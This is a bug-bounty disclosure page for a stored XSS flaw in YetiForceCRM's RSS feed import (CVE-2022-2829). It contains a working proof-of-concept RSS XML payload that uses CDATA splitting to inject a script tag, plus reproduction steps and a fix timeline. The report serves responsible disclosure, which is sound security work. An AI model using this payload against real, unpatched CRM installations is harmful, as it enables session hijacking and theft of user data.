Stored XSS vulnerability when importing RSS Feeds from external source in yetiforcecompany/yetiforcecrm

0

Valid Reported on Aug 12th 2022

Description

YetiForceCRM allows user create RSS Feeds without purifying the link field of the input data properly from external source. An attacker can take advantage of this vulnerability to perform an XML Injection attack that leads to stored cross-site scripting (XSS) on the target server.

Proof of Concept

Payload

```
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>RSS Test</title>
    <link><![CDATA["]]><![CDATA[>]]><![CDATA[<]]>script<![CDATA[>]]>alert('
    <description>RSS Test Description</description>
    <lastBuildDate>Fri, 12 Aug 2022 00:00:00 -0000</lastBuildDate>
    <item>
        <title>RSS Test</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>user@example.com</author>
        <pubDate>Fri, 12 Aug 2022 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>
```

Reproduction steps

`Step 1:` Create a file `rss_xss.xml` with the content of the payload above

PoC - Step 1

`Step 2:` Add Feed Source via module Rss

PoC - Step 2

`Step 3:` Click Save and the XSS should fire

PoC - Step 3

PoC - Step 3-2

Impact

This vulnerability allows attackers to hijack the user's current session, steal relevant information, deface website or direct users to malicious websites,...

Occurrences

RssFeedContents.tpl L51

References

- https://owasp.org/www-community/attacks/xss/
- https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html

CVE
CVE-2022-2829
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (8.8)

Registry
Other

Affected Version
6.3.0

Visibility
Public

Status

Fixed

Found by

0xb4c

@0xb4c

unranked

This report was seen 838 times.

We are processing your report and will contact the **yetiforcecompany/yetiforcecrm** team within 24 hours. 3 months ago

We have contacted a member of the **yetiforcecompany/yetiforcecrm** team and are waiting to hear back 3 months ago

Radosław Skrzypczak validated this vulnerability 3 months ago

0xb4c has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **yetiforcecompany/yetiforcecrm** team. We will try again in 7 days. 3 months ago

Mariusz Krzaczkowski marked this as fixed in **6.4.0** with commit **2c14ba** 3 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

RssFeedContents.tpl#L51 has been validated ✔

Sign in to join this conversation